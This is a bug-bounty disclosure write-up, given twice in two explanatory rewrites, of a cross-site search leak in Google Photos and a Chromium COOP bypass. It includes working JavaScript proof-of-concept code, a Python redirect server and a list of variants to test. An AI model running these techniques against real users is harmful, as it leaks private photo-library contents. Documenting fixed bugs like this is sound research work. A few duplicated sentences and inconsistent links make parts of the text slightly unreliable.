XS-Search on Google Photos
Google Photos search results could be detected cross-origin through a timing side channel based on browser connection reuse, letting an attacker learn whether a victim had a photo matching a guessed query. A second issue bypassed Cross-Origin-Opener-Policy using a Chromium auto-reload behaviour triggered by an invalid server response, which enabled the same kind of cross-site search leak.
Google Photos is a service by Google, a subsidiary of Alphabet, used to store and view user uploaded duck photos.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Google Photos is a service by Google, a subsidiary of Alphabet, used to store and view user uploaded photos. The feature relevant here is search: a victim's photo library can be queried by navigating to a URL of the form https://photos.google.com/search/<query>. Whether a given query matches anything in the victim's library is not something a cross-origin page is supposed to be able to observe.
The write-up describes two separate issues: an XS-Search built on connection pool reuse, and a bypass of Cross-Origin-Opener-Policy (COOP) that removes the one-search-per-page-load limit of the first. Both were fixed and both were awarded.
Setup
The attack is run from an attacker-controlled page in the victim's browser, with the victim logged in to Google Photos. No special tooling is described beyond a browser and, for the second issue, a small Python HTTP server. The first technique depends on the browser's connection reuse behaviour for lh3.googleusercontent.com, and the write-up notes that no timing attack is needed there because that host sends timing-allow-origin: *, which lets the attacker page read full Resource Timing entries for it.
Finding it
The starting point is a known technique documented at https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/#connection-reuse: a cross-origin page can infer whether a request to a target host reused an existing connection or had to open a new one. If the attacker can force the browser to open a connection to a host that the target page also uses, and then observe whether the target page's load reused that connection, the attacker learns something about whether the target page actually issued a request to that host.
Applied to Google Photos, the idea is: open a window, let it navigate to a search URL, and then check whether a connection to the image host was reused. A match on the query means the results page loads images from that host; no match means it does not. The write-up frames the example as leaking whether the victim took a photo of a duck.
Exploitation
Step 1: detect connection reuse
The helper below checks whether a fetch to lh3.googleusercontent.com reused an existing connection. Because the host allows timing access cross-origin, the page can read the Resource Timing entry directly and compare connectStart with startTime: if they are equal, the request did not need a new connection.
async function isConnected() {
// Detect connection reuse for lh3.googleusercontent.com
// No timing attack needed because of timing-allow-origin: *
performance.clearResourceTimings();
await fetch('https://lh3.googleusercontent.com/', {mode: 'cors'});
await new Promise((r) => setTimeout(r, 1000));
let data = performance.getEntries().pop();
return data.connectStart === data.startTime;
}
performance.clearResourceTimings() wipes earlier entries so that getEntries().pop() returns the entry for the fetch just made. The one second wait gives the entry time to be recorded. The boolean result is the oracle: true means the connection was already open and got reused.
Step 2: drive the search and read the oracle
The search function opens a window, waits for idle connections to time out, navigates the window to the search URL, waits, and then asks the oracle.
async function search(query) {
let w = open();
// Close connections using idle timeout.
await new Promise((r) => setTimeout(r, 30000));
// First try is free, next needs COOP or user activation bypass.
w.location = 'https://photos.google.com/search/' + query;
await new Promise((r) => setTimeout(r, 5000));
return await isConnected();
}
Usage is await search('duck') to leak if a query exists (if the victim took a photo of a duck). The 30 second wait lets idle connections close so that the state before navigation is clean. The 5 second wait after navigation gives the results page time to load its images. The comment on the navigation line records an important limit: the first try is free, but subsequent tries need either COOP or a user activation bypass, because after the first cross-origin navigation the attacker loses the ability to navigate the window again.
The author believes this was fixed as part of https://chromium-review.googlesource.com/c/chromium/src/+/4387455. The write-up states the XS-Leak was fixed and awarded $1337, and that the work was done as part of a grant of $500.
Step 3: bypass COOP with an invalid response
The second issue removes the one-shot limitation. It abuses the Chromium auto reloader using an invalid server response, and the write-up notes it also worked with the max redirect limit. The attacker serves a page that, on first request, returns a body that is not valid HTML, and on the second request redirects to the search URL.
from http.server import BaseHTTPRequestHandler, HTTPServer
sessions = set()
class handler(BaseHTTPRequestHandler):
def do_GET(self):
if (self.path not in sessions):
self.send_response(200)
self.send_header("Cache-Control", "no-store")
message = "<invalid>"
self.wfile.write(bytes(message, "utf8"))
self.end_headers()
sessions.add(self.path)
else:
self.send_response(307)
self.send_header('Cache-Control', 'no-store')
self.send_header('Location','https://photos.google.com/search/duck')
self.end_headers()
sessions.remove(self.path)
with HTTPServer(('', 8000), handler) as server:
server.serve_forever()
The handler tracks each path in sessions. On the first hit for a path it responds 200 with the body <invalid> and Cache-Control: no-store, and records the path. On the next hit for the same path it responds 307 with Location: https://photos.google.com/search/duck and Cache-Control: no-store, and removes the path from the set. The invalid body triggers Chromium's auto reloader, which re-requests the same URL; that second request is answered with the redirect to the search page. Because the navigation to Google Photos happens as part of this reload/redirect chain rather than as a direct scripted navigation, the COOP restriction that limited the first technique does not apply, so the attacker can repeat the search.
This was fixed in https://issues.chromium.org/40060695, originally reported as a way to bypass the iframe sandbox allow-downloads flag. The same trick also worked for an extension WAR (web accessible resources) bypass; that issue was fixed in https://issues.chromium.org/40060076 and awarded $1000. The COOP bypass itself was fixed and awarded $3000.
Root cause
Two distinct causes combine here. First, Google Photos search results cause the page to load resources from lh3.googleusercontent.com, and that host is readable through Resource Timing because it sends timing-allow-origin: *. Connection reuse therefore becomes a cross-origin signal about whether a search matched. The browser's connection pool is shared across origins, so an attacker page can prime a connection to the image host and then observe whether the target page reused it.
Second, the COOP protection that normally stops a page from navigating a window it has already navigated cross-origin can be sidestepped by making the navigation happen inside a browser-initiated reload/redirect chain. The invalid response triggers the auto reloader, and the redirect that follows is not subject to the same restriction as a scripted location assignment. The write-up does not go into the browser internals beyond this; the mechanism is described only in terms of the invalid response and the redirect limit.
Impact
An attacker page can determine, for a logged-in Google Photos user, whether a given search query returns results in that user's library. The write-up's example is whether the victim has a photo of a duck, but the technique generalises to any query string the attacker chooses to test. The XS-Leak version is limited to a single query per page load because of the COOP restriction noted in the code comment; the COOP bypass removes that limit and allows repeated queries. The write-up does not describe any other data being exposed.
Fix
The XS-Leak is believed to have been fixed by the Chromium change at https://chromium-review.googlesource.com/c/chromium/src/+/4387455. The COOP bypass was fixed in https://issues.chromium.org/40060695. The COOP bypass was fixed in https://issues.chromium.org/40060695, which was originally reported as a way to bypass the iframe sandbox allow-downloads flag, and the extension WAR bypass in https://issues.chromium.org/40060076. The write-up does not describe the content of the fixes, only the tracking links.
Variants to test
- Other hosts with
timing-allow-origin: *. Look for any host a target page loads conditionally on a search or state, where the host sendstiming-allow-origin: *. A positive result is thatconnectStart === startTimecorrelates with the condition you are testing. - Other auto-reload triggers. The write-up says the trick also worked with the max redirect limit. Try responses that force a browser-initiated reload or redirect chain (invalid bodies, redirect loops that hit the limit) and see whether a navigation that would otherwise be blocked by COOP succeeds. A positive result is a cross-origin navigation to the target after the first attempt.
- Sandbox
allow-downloadsbypass. The same invalid-response trick was originally reported against the iframe sandboxallow-downloadsflag. Test whether a sandboxed iframe can be made to trigger a download through a reload/redirect chain. A positive result is a download initiated from a frame that should not be allowed to download. - Extension web accessible resources. The same trick worked as a WAR bypass. Test whether a reload/redirect chain can reach an extension resource that should not be web accessible. A positive result is a resource loading from an extension origin that the page should not be able to reach.
- Search endpoints generally. Any product with a URL-driven search that loads third-party resources on a match is a candidate for the connection-reuse oracle. A positive result is a reliable difference in connection reuse between a matching and a non-matching query.
What happened, in plain words
Google Photos is Google's service for storing and viewing photos you upload. It has a search box: you type a word, and it shows the photos in your library that match. The search is also reachable by URL, of the form https://photos.google.com/search/<query>.
The problem is that a website you visit should not be able to find out what is in your Google Photos library. In particular, it should not be able to learn whether a search for a particular word returns any results. If a stranger's page could ask "does this person have a photo of a duck?" and get a yes or no, that is a privacy leak even though no photo is ever shown.
This write-up describes two separate bugs that both turn that search into something an outside page can observe:
- An XS-Search attack that uses the browser's habit of reusing network connections to guess whether a search matched.
- A bypass of a browser protection called COOP that removes a limit on the first attack, so the attacker can run many searches instead of just one.
Both were fixed, and both were awarded a bounty. The first was awarded $1337 and was done as part of a grant of $500. The second was awarded $3000. The same trick also worked for an extension WAR bypass, which was awarded $1000.
Background you need first
A few ideas come up again and again, so here they are from zero.
Origins. A web page's origin is its scheme, host and port together, for example https://photos.google.com. The browser treats pages from different origins as separate universes. A page on evil.example is not allowed to read the contents of a page on photos.google.com. This rule is the foundation of web security, and it is why most attacks are about learning small facts around the rule rather than reading data directly.
Cross-origin. Anything that involves two different origins is called cross-origin. A page on one origin trying to interact with a page on another is a cross-origin interaction, and the browser restricts it heavily.
XS-Leak and XS-Search. An XS-Leak (cross-site leak) is a family of attacks where a page does not read your data but infers a fact about it from some side effect, such as how long something took or whether a request happened. XS-Search is the specific case where the inferred fact is whether a search returned results. Think of it like guessing someone's password by watching which key they press, rather than reading the password itself.
Connections and connection reuse. When your browser talks to a website, it opens a network connection, like a phone call. Opening a connection takes time, so browsers keep connections open and reuse them for later requests to the same host. This is called connection reuse, and the collection of kept-open connections is the connection pool. Crucially, the pool is shared across origins: if one page has opened a connection to a host, another page can end up reusing it.
Resource Timing. Browsers record timing information about every resource a page loads (images, scripts, and so on). A page can read these records through a browser feature called the Resource Timing API. By default, a page can only see detailed timing for resources from its own origin, because the details could leak information about other sites. A server can opt in to sharing the details by sending a header called timing-allow-origin. When that header is *, any page may read the full timing details for resources from that host.
COOP. Cross-Origin-Opener-Policy is a browser protection. When a page navigates a window to another origin, COOP can sever the link between the two, so the original page can no longer reach into or steer that window. This is what stops an attacker page from opening a window, sending it to a victim site, and then continuing to steer or reach into that window.
HTTP status codes and headers. When a browser asks a server for a page, the server replies with a status code and some headers. 200 means "here is the content". 307 means "this content has moved, go to this other address instead" (a redirect). Cache-Control: no-store tells the browser not to save a copy. Location is the header that carries the address to redirect to.
The auto reloader. Chromium (the engine inside Chrome) has a feature that automatically retries a page when the server's response looks broken, for example when the body is not valid HTML. The browser re-requests the same URL on its own, without the page's script asking it to.
The setup
The attack runs from a page the attacker controls, opened in the victim's browser while the victim is logged in to Google Photos. Nothing exotic is needed: a browser for the first technique, and a small Python web server for the second.
The first technique relies on how the browser reuses connections to lh3.googleusercontent.com, a host that Google Photos loads images from. That host sends timing-allow-origin: *, which means the attacker's page is allowed to read full timing records for it. That is what makes the trick possible without any clever timing measurement.
Finding it
The starting point is a technique already documented at https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/#connection-reuse. The idea: a page can work out whether a request to some host reused an existing connection or had to open a new one. If the attacker can first open a connection to a host that the target page also uses, and then observe whether the target page's load reused that connection, the attacker learns whether the target page actually requested anything from that host.
Applied to Google Photos: open a window, send it to a search URL, then check whether a connection to the image host was reused. If the search matched, the results page loads images from that host, so the connection gets reused. If it did not match, no images load, so it does not. The write-up uses the example of leaking whether the victim took a photo of a duck.
Exploitation
Step 1: detect connection reuse
The first helper checks whether a request to lh3.googleusercontent.com reused an existing connection. Because the host allows cross-origin timing access, the page can read the timing record directly and compare two timestamps: connectStart (when the connection started being set up) and startTime (when the request started). If they are equal, no new connection was needed, so an existing one was reused.
async function isConnected() {
// Detect connection reuse for lh3.googleusercontent.com
// No timing attack needed because of timing-allow-origin: *
performance.clearResourceTimings();
await fetch('https://lh3.googleusercontent.com/', {mode: 'cors'});
await new Promise((r) => setTimeout(r, 1000));
let data = performance.getEntries().pop();
return data.connectStart === data.startTime;
}
Line by line:
async function isConnected() {declares a function that returns a promise, meaning it can wait for slow things (like network requests) without freezing the page.- The two comment lines record why this works: the host sends
timing-allow-origin: *, so no timing attack is needed. performance.clearResourceTimings();throws away all previously recorded timing entries, so the next one we read will be the one we are about to create.await fetch('https://lh3.googleusercontent.com/', {mode: 'cors'});makes a request to the image host and waits for it to finish.mode: 'cors'is the standard cross-origin request mode.await new Promise((r) => setTimeout(r, 1000));waits one second, giving the browser time to record the timing entry.let data = performance.getEntries().pop();takes the list of recorded entries andpop()returns the last one, which is the entry for the fetch we just made.return data.connectStart === data.startTime;compares the two timestamps. If they are equal, the request did not open a new connection, so it reused one. The function returnstruein that case andfalseotherwise. This true/false answer is the oracle: the single fact the attacker wants to learn.
Step 2: drive the search and read the oracle
The second function opens a window, waits for idle connections to close, sends the window to the search URL, waits for the page to load, and then asks the oracle.
async function search(query) {
let w = open();
// Close connections using idle timeout.
await new Promise((r) => setTimeout(r, 30000));
// First try is free, next needs COOP or user activation bypass.
w.location = 'https://photos.google.com/search/' + query;
await new Promise((r) => setTimeout(r, 5000));
return await isConnected();
}
Line by line:
async function search(query) {declares a function that takes the word to search for.let w = open();opens a new browser window (or tab) and keeps a handle to it inw, so the script can steer it later.await new Promise((r) => setTimeout(r, 30000));waits 30 seconds. The comment explains why: connections that sit idle are closed by the browser after a timeout, so this wait clears the slate before the real test.w.location = 'https://photos.google.com/search/' + query;sends the window to the search URL for the chosen word. This is the moment the victim's browser asks Google Photos whether anything matches.await new Promise((r) => setTimeout(r, 5000));waits five seconds so the results page has time to load its images.return await isConnected();runs the oracle from step 1 and returns its answer.
The usage is await search('duck'), which leaks whether a query exists, that is, whether the victim took a photo of a duck.
The comment on the navigation line records an important limit: the first try is free, but later tries need COOP or a user activation bypass. In plain terms, after the script has sent the window to another origin once, the browser's COOP protection cuts the script's control over that window, so it cannot send it to a second search URL. One search per page load is all the first technique gives.
The author believes this was fixed as part of the Chromium change at https://chromium-review.googlesource.com/c/chromium/src/+/4387455.
Step 3: bypass COOP with an invalid response
The second issue removes the one-search limit. It abuses the Chromium auto reloader by serving an invalid response, and the write-up notes it also worked with the maximum redirect limit. The attacker's server answers the first request for a page with a body that is not valid HTML, and answers the second request for the same page with a redirect to the search URL.
from http.server import BaseHTTPRequestHandler, HTTPServer
sessions = set()
class handler(BaseHTTPRequestHandler):
def do_GET(self):
if (self.path not in sessions):
self.send_response(200)
self.send_header("Cache-Control", "no-store")
message = "<invalid>"
self.wfile.write(bytes(message, "utf8"))
self.end_headers()
sessions.add(self.path)
else:
self.send_response(307)
self.send_header('Cache-Control', 'no-store')
self.send_header('Location','https://photos.google.com/search/duck')
self.end_headers()
sessions.remove(self.path)
with HTTPServer(('', 8000), handler) as server:
server.serve_forever()
Line by line:
from http.server import BaseHTTPRequestHandler, HTTPServerimports two building blocks from Python's standard library: a base class for handling requests, and a simple web server.sessions = set()creates an empty set, a collection that remembers which paths have been seen. It is used as a memory of first versus second visits.class handler(BaseHTTPRequestHandler):defines what the server does for each incoming request.def do_GET(self):is the method called for every GET request, the normal kind of request a browser makes for a page.if (self.path not in sessions):checks whether this path has been requested before. If not, this is the first visit.self.send_response(200)replies with status 200, meaning "here is the content".self.send_header("Cache-Control", "no-store")tells the browser not to cache the response, so it will ask again next time instead of using a saved copy.message = "<invalid>"sets the body to a string that is not valid HTML.self.wfile.write(bytes(message, "utf8"))writes that body to the response.self.end_headers()finishes the headers and sends the response.sessions.add(self.path)records that this path has now been visited once.else:covers the second and later visits to the same path.self.send_response(307)replies with status 307, a redirect.self.send_header('Cache-Control', 'no-store')again prevents caching.self.send_header('Location','https://photos.google.com/search/duck')tells the browser where to go: the Google Photos search page for the word duck.self.end_headers()sends the response.sessions.remove(self.path)forgets the path, so the cycle can start again.with HTTPServer(('', 8000), handler) as server:starts a web server on port 8000 using the handler above.server.serve_forever()keeps it running, answering requests indefinitely.
Why this works: the first response's body, <invalid>, is not valid HTML, so Chromium's auto reloader decides the page is broken and re-requests the same URL by itself. That second request is answered with the redirect to the search page. Because the trip to Google Photos happens inside a browser-initiated reload and redirect chain, rather than a navigation the attacker's script performed directly, the COOP restriction that limited the first technique does not apply. The attacker can therefore repeat the search as often as needed.
This was fixed in https://issues.chromium.org/40060695. That issue was originally reported as a way to bypass the iframe sandbox allow-downloads flag, which is a setting that controls whether a frame embedded in a page is allowed to trigger downloads. The same trick also worked as a bypass for extension WAR (web accessible resources), which are files inside a browser extension that the extension deliberately makes reachable from web pages. That issue was fixed in https://issues.chromium.org/40060076 and awarded $1000.
Root cause
Two separate causes combine here.
First, Google Photos search results cause the page to load resources from lh3.googleusercontent.com, and that host is readable through Resource Timing because it sends timing-allow-origin: *. Connection reuse therefore becomes a cross-origin signal about whether a search matched. The browser's connection pool is shared across origins, so an attacker page can prime a connection to the image host and then observe whether the target page reused it.
Second, the COOP protection that normally stops a page from navigating a window it has already sent cross-origin can be sidestepped by making the navigation happen inside a browser-initiated reload and redirect chain. The invalid response triggers the auto reloader, and the redirect that follows is not subject to the same restriction as a scripted location assignment. The write-up does not go into the browser internals beyond this; the mechanism is described only in terms of the invalid response and the redirect limit.
Impact
An attacker page can determine, for a logged-in Google Photos user, whether a given search query returns results in that user's library. The write-up's example is whether the victim has a photo of a duck, but the technique generalises to any query string the attacker chooses to test. The XS-Leak version is limited to a single query per page load because of the COOP restriction noted in the code comment; the COOP bypass removes that limit and allows repeated queries. The write-up does not describe any other data being exposed.
Fix
The XS-Leak is believed to have been fixed by the Chromium change at https://chromium-review.googlesource.com/chromium/src/+/4387455. The COOP bypass was fixed in https://issues.chromium.org/40060695. The COOP bypass was fixed in https://issues.chromium.org/40060695, and the extension WAR bypass in https://issues.chromium.org/40060076. The write-up does not describe the content of the fixes, only the tracking links.
Variants to test
- Other hosts with
timing-allow-origin: *. Look for any host a target page loads conditionally on a search or state, where the host sendstiming-allow-origin: *. A positive result is thatconnectStart === startTimecorrelates with the condition you are testing. - Other auto-reload triggers. The write-up says the trick also worked with the max redirect limit. Try responses that force a browser-initiated reload or redirect chain (invalid bodies, redirect loops that hit the limit) and see whether a navigation that would otherwise be blocked by COOP succeeds. A positive result is a cross-origin navigation to the target after the first attempt.
- Sandbox
allow-downloadsbypass. The same invalid-response trick was originally reported against the iframe sandboxallow-downloadsflag. Test whether a sandboxed iframe can be made to trigger a download through a reload and redirect chain. A positive result is a download initiated from a frame that should not be allowed to download. - Extension web accessible resources. The same trick worked as a WAR bypass. Test whether a reload and redirect chain can reach an extension resource that should not be web accessible. A positive result is a resource loading from an extension origin that the page should not be able to reach.
- Search endpoints generally. Any product with a URL-driven search that loads third-party resources on a match is a candidate for the connection-reuse oracle. A positive result is a reliable difference in connection reuse between a matching and a non-matching query.
Glossary
- Origin: the combination of scheme, host and port that identifies a website, for example
https://photos.google.com; pages from different origins are kept apart by the browser. - Cross-origin: involving two different origins, for example a page on one site interacting with a page on another.
- XS-Leak: a cross-site leak; an attack that does not read data directly but infers a fact about it from a side effect such as timing or whether a request happened.
- XS-Search: an XS-Leak where the inferred fact is whether a search returned results.
- Connection: a network link between the browser and a server, opened before requests can be sent.
- Connection reuse: using an already open connection for a new request instead of opening a fresh one.
- Connection pool: the browser's collection of kept-open connections, shared across origins.
- Resource Timing API: a browser feature that records timing details about resources a page loads, readable by the page through
performance. timing-allow-origin: a response header by which a server opts in to letting other origins read detailed timing for its resources;*means any origin.connectStart: the timestamp in a timing record for when connection setup began.startTime: the timestamp in a timing record for when the request started; equal toconnectStartwhen no new connection was needed.- Oracle: a yes/no signal an attacker can read, which reveals a hidden fact.
- COOP (Cross-Origin-Opener-Policy): a browser protection that severs the link between a page and a window it has navigated to another origin, preventing further steering.
- User activation: a signal that the user has interacted with the page (for example by clicking), which some browser features require.
- HTTP status code: a number in a server's reply saying what happened, such as
200for success or307for a redirect. - Redirect: a server reply telling the browser to go to a different address instead, carried in the
Locationheader. Cache-Control: no-store: a header telling the browser not to save a copy of the response.- Auto reloader: a Chromium feature that automatically re-requests a page when the server's response looks broken, such as an invalid HTML body.
- Redirect limit: the maximum number of redirects a browser will follow in a chain before giving up.
- iframe sandbox: an attribute on an embedded frame that restricts what the framed page may do;
allow-downloadsis one permission it can grant. - WAR (web accessible resources): files inside a browser extension that the extension deliberately makes reachable from web pages.
- Bounty: a reward paid by a company for a responsibly reported security bug.
- Grant: funding given to support security research work.